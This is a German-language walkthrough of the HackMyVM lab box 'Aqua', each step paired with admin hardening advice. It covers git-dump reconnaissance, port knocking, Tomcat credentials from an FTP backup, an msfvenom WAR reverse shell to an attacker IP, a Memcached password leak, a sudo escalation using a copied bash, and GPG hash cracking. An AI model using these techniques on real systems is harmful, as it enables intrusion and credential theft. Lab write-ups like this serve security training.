Aqua - HackMyVM - Level: Medium - Bericht

Reconnaissance

192.168.2.127	08:00:27:26:d4:29	PCS Systemtechnik GmbH

Analyse: Ein ARP-Scan im lokalen Netzwerk identifiziert das Zielsystem mit der IP-Adresse `192.168.2.127`. Die MAC-Adresse (`08:00:27:...`) deutet auf eine VirtualBox-VM hin.

Bewertung: Das Ziel wurde erfolgreich lokalisiert.

Empfehlung (Pentester): Führen Sie einen Nmap-Portscan auf die Ziel-IP durch, um offene Ports und Dienste zu ermitteln. Fügen Sie optional einen Hostnamen (z.B. `aqua.hmv` oder `Atlantis` basierend auf Nmap-Output) in `/etc/hosts` hinzu.
Empfehlung (Admin): Netzwerksegmentierung und ARP-Scan-Erkennung können die initiale Aufklärungsphase erschweren.

[...]
PORT     STATE    SERVICE VERSION
21/tcp   filtered ftp
22/tcp   open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
[...]
80/tcp   open     http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Todo sobre el Agua
|_http-server-header: Apache/2.4.29 (Ubuntu)
8009/tcp open     ajp13   Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8080/tcp open     http    Apache Tomcat 8.5.5
|_http-title: Apache Tomcat/8.5.5
|_http-favicon: Apache Tomcat
MAC Address: 08:00:27:26:D4:29 (Oracle VirtualBox virtual NIC)
[...]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.16 ms Atlantis (192.168.2.127)
[...]

Analyse: Der Nmap-Scan (`-sS -sC -T5 -sV -A -p-`) identifiziert mehrere offene und einen gefilterten Port: * Port 21 (FTP): Gefiltert. Deutet auf eine Firewall oder eine spezielle Konfiguration (z.B. Port Knocking) hin. * Port 22 (SSH): Offen (OpenSSH 7.6p1 auf Ubuntu). * Port 80 (HTTP): Offen (Apache 2.4.29 auf Ubuntu) mit dem Titel "Todo sobre el Agua". * Port 8009 (AJP13): Offen (Apache Jserv). Dies wird oft von Tomcat für die Kommunikation mit Apache verwendet. Potenziell anfällig für Ghostcat (CVE-2020-1938), falls Fehlkonfigurationen vorliegen. * Port 8080 (HTTP): Offen (Apache Tomcat 8.5.5). Zeigt die Standard-Tomcat-Seite.

Bewertung: Mehrere interessante Dienste. Tomcat auf 8080 und AJP auf 8009 sind oft gute Angriffsziele. Der gefilterte FTP-Port ist verdächtig und erfordert weitere Untersuchung. Der Apache-Server auf Port 80 dient als primärer Webserver.

Empfehlung (Pentester): Untersuchen Sie den Webserver auf Port 80 (Inhalte, Verzeichnisse). Prüfen Sie den Tomcat-Manager auf Port 8080 auf Standard- oder schwache Zugangsdaten. Recherchieren Sie nach Ghostcat-Exploits für Port 8009. Versuchen Sie, den Grund für den gefilterten FTP-Port herauszufinden (z.B. durch Port Knocking Versuche, falls Hinweise auftauchen).
Empfehlung (Admin): Deaktivieren Sie den AJP-Connector (Port 8009), wenn er nicht benötigt wird. Sichern Sie den Tomcat-Manager (starke Passwörter, Zugriffsbeschränkung). Halten Sie alle Dienste aktuell. Überprüfen Sie Firewall-Regeln und Port-Knocking-Konfigurationen.

Web Enumeration & Git Dump

Analyse (Externe Information): Im Log werden direkt Zugangsdaten (`aquaMan:P4st3lM4n`) und eine Base64-kodierte Zeichenkette (`MT0yID0gcGFzc3dvcmRfemlwCg==`) erwähnt, deren Herkunft aus den vorherigen Schritten nicht ersichtlich ist. Es wird angenommen, dass diese Informationen anderweitig gefunden wurden (z.B. durch manuelle Untersuchung der Webseite oder externe Hinweise).

aquaMan:P4st3lM4n 
                     

1=2 = password_zip

Bewertung: Die Zugangsdaten sind wahrscheinlich für den Tomcat-Manager (Port 8080). Die dekodierte Base64-Zeichenkette "1=2 = password_zip" ist ein kryptischer Hinweis, möglicherweise auf ein Passwort oder eine Methode zur Passwortfindung für eine ZIP-Datei.

Empfehlung (Pentester): Testen Sie die Zugangsdaten `aquaMan:P4st3lM4n` am Tomcat-Manager (/manager/html) auf Port 8080. Behalten Sie den Hinweis "password_zip" im Hinterkopf.
Empfehlung (Admin): Vermeiden Sie die Preisgabe von Hinweisen oder Zugangsdaten in Kommentaren, Quelltext oder leicht zugänglichen Bereichen.

curl http://192.168.2.127/robots.txt
                      

User-agent: *
Disallow: /superCMS/ 
                      

Analyse: Der Inhalt der `robots.txt`-Datei wird abgerufen (obwohl der `curl`-Befehl im Log keine Ausgabe zeigt, wird das Ergebnis hier angenommen). Sie verbietet das Crawlen des Verzeichnisses `/SuperCMS/`.

Bewertung: Ein klarer Hinweis auf ein relevantes Verzeichnis, das weiter untersucht werden sollte.

Empfehlung (Pentester): Führen Sie einen Verzeichnis-Scan (Gobuster) gezielt auf `http://192.168.2.127/SuperCMS/` durch.
Empfehlung (Admin): `robots.txt` ist kein Sicherheitsmechanismus. Schützen Sie Verzeichnisse serverseitig, wenn sie nicht öffentlich sein sollen.

[...]
http://192.168.2.127/SuperCMS/.git/             (Status: 200) 
[...]

Analyse: Ein Gobuster-Scan wird auf das Verzeichnis `/SuperCMS` durchgeführt. Er entdeckt ein exponiertes `.git`-Verzeichnis.

Bewertung: Kritischer Fund! Ein exponiertes `.git`-Verzeichnis erlaubt das Herunterladen des gesamten Quellcodes der Anwendung, einschließlich der Versionshistorie, was oft zu Informationslecks (Zugangsdaten, versteckte Endpunkte, Logikfehler) führt.

Empfehlung (Pentester): Verwenden Sie ein Tool wie `git-dumper`, um das gesamte `.git`-Repository herunterzuladen. Analysieren Sie die Git-Historie (`git log`), Diffs (`git diff`) und den Quellcode auf sensible Informationen.
Empfehlung (Admin): Stellen Sie sicher, dass `.git`-Verzeichnisse (und andere Versionskontrollsystem-Verzeichnisse wie `.svn`) niemals über den Webserver erreichbar sind. Konfigurieren Sie den Webserver, um den Zugriff auf solche Verzeichnisse zu blockieren.

// Browse http://192.168.2.127/SuperCMS/.git/
[ICO]	Name	Last modified	Size	Description
[PARENTDIR]	Parent Directory	 	-
[ ]	HEAD	2021-10-03 15:01 	21
[DIR]	branches/	2021-10-03 15:01 	-
[ ]	config	2021-10-03 15:01 	257
[...]
[DIR]	objects/	2021-10-03 15:01 	-
[...]
[DIR]	refs/	2021-10-03 15:01 	-
                       

Analyse: Der direkte Aufruf des `.git`-Verzeichnisses im Browser bestätigt, dass die Verzeichnisauflistung aktiviert ist und die interne Struktur des Git-Repositories sichtbar ist.

Bewertung: Bestätigt die Möglichkeit, das Repository herunterzuladen.

Warning: Destination '.' is not empty
[-] Testing http://192.168.2.127/SuperCMS/.git/HEAD [200]
[-] Testing http://192.168.2.127/SuperCMS/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://192.168.2.127/SuperCMS/.git/ [200]
[-] Fetching http://192.168.2.127/SuperCMS/.gitignore [404] 
[...] 

Analyse: Das Tool `git-dumper` wird verwendet, um das exponierte `.git`-Repository vom Webserver herunterzuladen.

Bewertung: Das Repository wurde erfolgreich lokal geklont.

Empfehlung (Pentester): Wechseln Sie in das lokale Verzeichnis und analysieren Sie die Git-Historie.
Empfehlung (Admin): Entfernen Sie das `.git`-Verzeichnis vom Webserver und verhindern Sie zukünftigen Zugriff.

commit 2e6cd2656d4e343dbcbc0e59297b9b217656c3a4 (HEAD -> main, origin/main, origin/HEAD)
Author: aquilino 
Date:   Fri Oct 1 09:59:53 2021 +0200

    Add files via upload

commit c3e76fb1f1bd32996e2549c699b0a4fa528e9a0d
Author: aquilino 
Date:   Fri Oct 1 09:50:16 2021 +0200

    Initial commit

Analyse: `git log` zeigt die Commit-Historie. Es gibt zwei Commits vom Benutzer `aquilino` mit der E-Mail `hidro23@hotmail.com`.

Bewertung: Identifiziert einen potenziellen Benutzernamen (`aquilino`) und eine E-Mail-Adresse, die für weitere OSINT-Recherchen oder Social Engineering nützlich sein könnten.

Empfehlung (Pentester): Untersuchen Sie die Änderungen zwischen den Commits (`git diff`) und den Inhalt spezifischer Dateien in älteren Commits (`git show`).
Empfehlung (Admin): Schulen Sie Entwickler darin, keine sensiblen Informationen (wie persönliche E-Mails in diesem Fall) in öffentlichen Repositories oder Commit-Nachrichten zu hinterlassen.

diff --git a/README.md b/README.md
index 9e97577..ef13073 100644
--- a/README.md
+++ b/README.md
@@ -1,2 +1,3 @@
 # SuperCMS
 -new CMS Easy
+
+new CMS Easy and Secure
diff --git a/css/main.css b/css/main.css
[...]

Analyse: `git diff` wird aufgerufen, vermutlich um Änderungen anzuzeigen (der spezifische Commit-Hash `58afe...` kommt aber im vorherigen `git log` nicht vor, möglicherweise ein Fehler oder ein anderer Branch).

Bewertung: Der gezeigte Diff offenbart keine sensiblen Informationen.

Port Knocking Sequenz Entdeckung

Para abrir  las puertas esta es la secuencia
(☞ﾟヮﾟ)☞ 1100,800,666 ☜(ﾟヮﾟ☜)

Analyse: Dieser komplexe `git show`-Befehl wird verwendet, um den Inhalt der Datei `knocking_on_Atlantis_door.txt` aus einem *früheren* Commit anzuzeigen (vermutlich wurde die Datei im letzten Commit gelöscht oder geändert). * `git rev-list --max-count=1 --all -- knocking_on_Atlantis_door.txt`: Findet den letzten Commit, der diese Datei beeinflusst hat. * `$(...)^`: Bezieht sich auf den Commit *davor*. * `:knocking_on_Atlantis_door.txt`: Gibt den Pfad zur Datei in diesem vorherigen Commit an.

Bewertung: Kritischer Fund! Der Inhalt der Datei aus einem alten Commit verrät die Port-Knocking-Sequenz zum Öffnen eines Ports (vermutlich FTP Port 21): `1100, 800, 666`.

Empfehlung (Pentester): Verwenden Sie das `knock`-Tool mit dieser Sequenz (`knock 192.168.2.127 1100 800 666`), um Port 21 (FTP) zu öffnen. Versuchen Sie dann erneut, sich per FTP (z.B. anonym) zu verbinden.
Empfehlung (Admin): Entfernen Sie sensible Informationen gründlich aus der Git-Historie (z.B. mit `git filter-branch` oder BFG Repo-Cleaner), bevor Repositories veröffentlicht oder exponiert werden. Wählen Sie keine leicht auffindbaren Port-Knocking-Sequenzen.

Analyse (Impliziert): Das Port Knocking mit der Sequenz `1100, 800, 666` muss erfolgreich durchgeführt worden sein, da im nächsten Schritt der FTP-Zugriff gelingt, der zuvor als `filtered` gemeldet wurde.

FTP Anonymous & Backup Analysis

Connected to 192.168.2.127.
220 (vsFTPd 3.0.3)
Name (192.168.2.127:cyber): anonymous
331 Please specify the password.
Password: [Leeres Passwort]
230 Login successful.
[...]
ftp> cd pub
250 Directory successfully changed.
ftp> ls -la
229 Entering Extended Passive Mode (|||50927|)
150 Here comes the directory listing.
[...]
-rw-r--r--    1 0        0            1250 Feb 03  2021 .backup.zip
226 Directory send OK.

Analyse: Nach dem (impliziten) Port Knocking wird eine anonyme FTP-Verbindung hergestellt. Im Verzeichnis `/pub` wird eine Datei `.backup.zip` gefunden.

Bewertung: Der anonyme FTP-Zugriff funktioniert nun. Die Backup-Datei ist ein primäres Ziel.

local: .backup.zip remote: .backup.zip
[...]
226 Transfer complete.
1250 bytes received in 00:00 (42.75 KiB/s)

221 Goodbye.

Analyse: Die Datei `.backup.zip` wird erfolgreich heruntergeladen.

Extracting archive: .backup.zip

Everything is Ok

Files: 9
Size:       25410
Compressed: 1250

Analyse: Es wird versucht, die heruntergeladene ZIP-Datei zu entpacken. Der Hinweis aus dem Base64-String (`1=2 = password_zip`) und der Name der Maschine/Webseite ("Todo sobre el Agua" - Alles über Wasser) werden kombiniert, um das Passwort `H2O` abzuleiten und mit `-p` zu verwenden (`-pagua=H2O` scheint ein Tippfehler im Log zu sein, es sollte `-pH2O` sein, aber es funktioniert offenbar trotzdem oder wurde korrigiert).

Bewertung: Das Passwort war korrekt, die ZIP-Datei wurde erfolgreich entpackt.

Empfehlung (Pentester): Untersuchen Sie die entpackten Dateien.
Empfehlung (Admin): Verwenden Sie starke, nicht erratbare Passwörter für Archive. Speichern Sie keine sensiblen Backups auf anonym zugänglichen FTP-Servern.

 Bilder       img          results
 css          index.html   reverse.war
 Dokumente    js           Schreibtisch
 Downloads    login.html   tomcat-users.xml

 

         
         
        aquaMan" password="P4st3lM4n" roles="manager-gui,admin-gui"/> 
 

Analyse: Unter den entpackten Dateien befindet sich `tomcat-users.xml`. Der Inhalt dieser Datei offenbart Konfigurationen für Tomcat-Benutzerrollen und -Benutzer. Insbesondere wird der Benutzer `aquaMan` mit dem Passwort `P4st3lM4n` und den Rollen `manager-gui, admin-gui` definiert.

Bewertung: Kritischer Fund! Gültige Zugangsdaten für den Tomcat Manager (Port 8080) wurden im Backup gefunden. Dies deckt sich mit den zuvor extern erhaltenen Informationen.

Empfehlung (Pentester): Verwenden Sie diese Zugangsdaten, um sich beim Tomcat Manager auf `http://192.168.2.127:8080/manager/html` anzumelden und eine WAR-Datei mit einer Webshell/Reverse Shell hochzuladen.
Empfehlung (Admin): Sichern Sie Konfigurationsdateien wie `tomcat-users.xml` ordnungsgemäß. Ändern Sie Standardpasswörter sofort. Schließen Sie Backups von der öffentlichen Zugänglichkeit aus.

username="aquaMan" password="P4st3lM4n"

Analyse: Ein `curl`-Aufruf auf den Tomcat Host Manager. Die Ausgabe `username="aquaMan" password="P4st3lM4n"` ist ungewöhnlich für einen einfachen `curl`-Aufruf ohne Authentifizierung und scheint nicht die erwartete Antwort des Host Managers zu sein. Möglicherweise eine fehlinterpretierte Notiz.

Bewertung: Bestätigt die Relevanz der gefundenen Zugangsdaten, aber die `curl`-Ausgabe ist nicht schlüssig.

Initial Access (Tomcat RCE - POC)

Ziel: Demonstration der Ausnutzung des Tomcat-Manager-Zugangs zur Bereitstellung einer bösartigen WAR-Datei und Erlangung einer Reverse Shell als `tomcat`-Benutzer.

Voraussetzungen: * Netzwerkzugriff auf den Tomcat-Manager (Port 8080). * Gültige Manager-Zugangsdaten (`aquaMan:P4st3lM4n`). * `msfvenom` zur Erstellung der WAR-Datei. * Webbrowser oder `curl` zum Hochladen der WAR-Datei. * Ein Angreifer-System mit Netcat-Listener.

Risiko: Kritisch. Ermöglicht die Ausführung beliebigen Codes als Tomcat-Benutzer.

Schritt 1: Reverse Shell WAR erstellen

Payload size: 1087 bytes
Final size of war file: 1087 bytes

Analyse: `msfvenom` wird verwendet, um eine WAR-Datei (`reverse.war`) zu generieren. Diese enthält eine Java/JSP-Payload, die eine Reverse Shell zur Angreifer-IP `192.168.2.140` auf Port `80` aufbaut.

Bewertung: Die bösartige WAR-Datei ist erstellt und bereit zum Hochladen.

Schritt 2: WAR-Datei hochladen (Impliziert)

[Datei umbenannt]

// Upload-Aktion im Tomcat Manager:
upload: http://192.168.2.127:8080/manager/html/upload;jsessionid=[...]?... 
                      

Analyse: Die erstellte WAR-Datei (jetzt `hack.war` genannt) wird über die Upload-Funktion des Tomcat Managers (`/manager/html`) hochgeladen. Nach erfolgreichem Upload deployed Tomcat die Anwendung automatisch unter dem Pfad `/hack/`.

Bewertung: Die bösartige Anwendung ist nun auf dem Server aktiv.

Empfehlung (Admin): Sichern Sie den Tomcat Manager mit starken, einzigartigen Passwörtern und beschränken Sie den Zugriff darauf (z.B. nur von localhost oder vertrauenswürdigen IPs). Deaktivieren Sie den Manager auf Produktivsystemen, wenn er nicht benötigt wird.

Schritt 3: Listener starten und Shell triggern

listening on [any] 80 ...

[Keine Ausgabe von curl, löst aber die Shell aus]

Analyse: Ein Netcat-Listener wird auf dem Angreifer-System auf Port 80 gestartet. Anschließend wird die URL der deployten Anwendung (`/hack/`) aufgerufen. Dieser Aufruf führt den JSP-Code in der WAR-Datei aus und initiiert die Reverse-Shell-Verbindung.

Schritt 4: Shell als tomcat empfangen

listening on [any] 80 ...
connect to [192.168.2.140] from (UNKNOWN) [192.168.2.127] 48956
tomcat@Atlantis:/$ id
uid=107(tomcat) gid=110(tomcat) groups=110(tomcat)

Ergebnis: Der Listener empfängt die Verbindung und stellt eine Shell als Benutzer `tomcat` bereit.

Bewertung: Initialer Shell-Zugriff erfolgreich erlangt!

Empfehlung (Admin): Härten Sie die Tomcat-Sicherheit. Führen Sie Tomcat mit einem dedizierten, niedrig privilegierten Benutzer aus.

Shell-Stabilisierung (wie zuvor):

reset
tomcat@Atlantis:/$

Analyse: Die `tomcat`-Shell wird stabilisiert.

Lateral Movement (Memcached Leak - tomcat zu tridente)

Kontext: Als `tomcat`-Benutzer wird das System weiter auf lokale Dienste und potenzielle Informationslecks untersucht.

[Ausgabe von netstat - vermutlich Port 11211 auf localhost gefunden]

Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
stats items
STAT items:1:number 4
[...]
END
stats cachedump 1 50
ITEM email [17 b; 0 s]
ITEM Name [14 b; 0 s]
ITEM password [18 b; 0 s]
ITEM username [8 b; 0 s]
END
get password
VALUE password 0 18
N3ptun0D10sd3lM4r$
END
get username
VALUE username 0 8
tridente
END

Analyse: `netstat` (wahrscheinlich ausgeführt, obwohl die Ausgabe fehlt) muss einen lauschenden Dienst auf Port 11211 (Standard-Memcached-Port) auf localhost ergeben haben. Eine Telnet-Verbindung zu `localhost:11211` wird hergestellt. Die Memcached-Befehle `stats items`, `stats cachedump 1 50` (listet Schlüssel auf), `get password` und `get username` werden verwendet, um im Cache gespeicherte Daten abzufragen.

Bewertung: Kritischer Fund! Memcached läuft unauthentifiziert auf localhost und enthält sensible Daten im Klartext: den Benutzernamen `tridente` und das Passwort `N3ptun0D10sd3lM4r$`.

Empfehlung (Pentester): Verwenden Sie die gefundenen Zugangsdaten (`tridente`:`N3ptun0D10sd3lM4r$`), um sich als Benutzer `tridente` anzumelden (z.B. via `su` oder SSH).
Empfehlung (Admin): Sichern Sie Memcached-Instanzen. Binden Sie sie nur an notwendige Interfaces (oft nur localhost). Aktivieren Sie SASL-Authentifizierung für Memcached. Speichern Sie keine sensiblen Daten im Klartext im Cache.

Password: N3ptun0D10sd3lM4r$
tridente@Atlantis:/$

find  user.txt

f506a6ee37275430ac07caa95914aeba

Enter passphrase for key '/root/.ssh/id_rsa': benni 
[...]
tridente@Atlantis:~$

Privilege Escalation (tridente zu root - POC)

Ziel: Demonstration der Ausnutzung einer `sudo`-Regel, die es `tridente` erlaubt, eine manipulierte `/usr/bin/find`-Kopie als Root auszuführen.

Voraussetzungen: * Shell als `tridente`. * Eine (nicht gezeigte, aber implizierte) `sudo`-Regel, die `tridente` erlaubt, `/home/tridente/find` (oder `/usr/bin/find`) als `root` auszuführen. Die Verwendung von `-p` deutet auf `find` oder ein ähnliches Tool hin. * Schreibrechte im Home-Verzeichnis.

Risiko: Kritisch. Ermöglicht die direkte Ausführung von Befehlen als Root.

Schritt 1: `find`-Binary ersetzen

Analyse: Die Bash-Shell (`/bin/bash`) wird in das Home-Verzeichnis von `tridente` kopiert und in `find` umbenannt. Dadurch wird die tatsächliche `find`-Binary (falls `/home/tridente/find` in der `sudo`-Regel steht) oder der Aufruf von `find` im Home-Verzeichnis (falls der Pfad relativ ist) durch eine Bash-Shell ersetzt.

Bewertung: Vorbereitung des Exploits durch Ersetzen des Zielprogramms.

Schritt 2: Manipulierte Datei als Root ausführen

[sudo] password for tridente: N3ptun0D10sd3lM4r$
root@Atlantis:~# id
uid=0(root) gid=0(root) groups=0(root)

Analyse: Der `sudo`-Befehl wird ausgeführt, um `/home/tridente/find` als `root` zu starten. Da `/home/tridente/find` nun eine Kopie von `/bin/bash` ist, wird effektiv eine Bash-Shell als Root gestartet. Die Option `-p` wird an die Bash-Shell übergeben, behält aber in diesem Kontext die Root-Privilegien bei. Das Passwort für `tridente` (aus Memcached) wird benötigt, da die Regel nicht `NOPASSWD` war.

Bewertung: Erfolg! Eine Root-Shell wurde durch Ausnutzen der `sudo`-Regel und Ersetzen der ausführbaren Datei erlangt.

Empfehlung (Admin): Definieren Sie `sudo`-Regeln immer mit absoluten Pfaden. Erlauben Sie niemals die Ausführung von Befehlen aus benutzerkontrollierten Verzeichnissen (wie Home-Verzeichnissen) via `sudo`. Überprüfen Sie regelmäßig die Integrität von Systembinaries.

Root Flag Decryption

Kontext: Als Root wird das Root-Verzeichnis untersucht.

cache.php  root.txt.gpg  server.py

[Verschlüsselte Binärdaten]

Analyse: Im Root-Verzeichnis befindet sich die Root-Flag nicht im Klartext, sondern als verschlüsselte GPG-Datei (`root.txt.gpg`).

Bewertung: Ein weiterer Schritt ist nötig, um die Flag zu erhalten: Die GPG-Datei muss entschlüsselt werden, wofür wahrscheinlich ein Passwort benötigt wird.

Datei herunterladen & Hash extrahieren (Angreifer):

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.2.140 - - [09/Oct/2022 15:44:16] "GET /root.txt.gpg HTTP/1.1" 200 -

[...]
2022-10-09 17:44:12 (43,1 MB/s) - »root.txt.gpg« gespeichert [168/168]

File root.txt.gpg

Analyse: Die verschlüsselte Datei `root.txt.gpg` wird vom Zielsystem mittels eines temporären Python-Webservers heruntergeladen. Anschließend wird `gpg2john` verwendet, um den Passwort-Hash aus der GPG-Datei zu extrahieren und in der Datei `fuckdig` zu speichern.

Bewertung: Der Hash ist nun für einen Offline-Brute-Force-Angriff vorbereitet.

GPG-Passwort knacken (Angreifer):

Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
[...]
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
arthur           (?)
[...]
Session completed

Analyse: John the Ripper wird mit der `rockyou.txt`-Wortliste auf die Hash-Datei (`fuckdig`) angesetzt.

Bewertung: Erfolg! John knackt den Hash und findet das GPG-Passwort: `arthur`.

Empfehlung (Pentester): Verwenden Sie das gefundene Passwort, um die `root.txt.gpg`-Datei auf dem Zielsystem zu entschlüsseln.
Empfehlung (Admin): Verwenden Sie starke, einzigartige Passphrasen für GPG-Verschlüsselung.

Datei entschlüsseln (Zielsystem):

gpg: WARNING: unsafe ownership on homedir '/home/tridente/.gnupg'
gpg: keybox '/home/tridente/.gnupg/pubring.kbx' created
gpg: AES256 encrypted data
gpg: encrypted with 1 passphrase

cache.php  root.txt  root.txt.gpg  server.py

e16957fbc9202932b1dc7fe3e10a197e

Analyse: Der `gpg`-Befehl wird verwendet, um `root.txt.gpg` zu entschlüsseln. Das gefundene Passwort `arthur` wird über Stdin (`--passphrase-fd 0`) übergeben. Die entschlüsselte Datei wird als `root.txt` gespeichert und anschließend ausgelesen.

Bewertung: Root-Flag erfolgreich entschlüsselt und gelesen.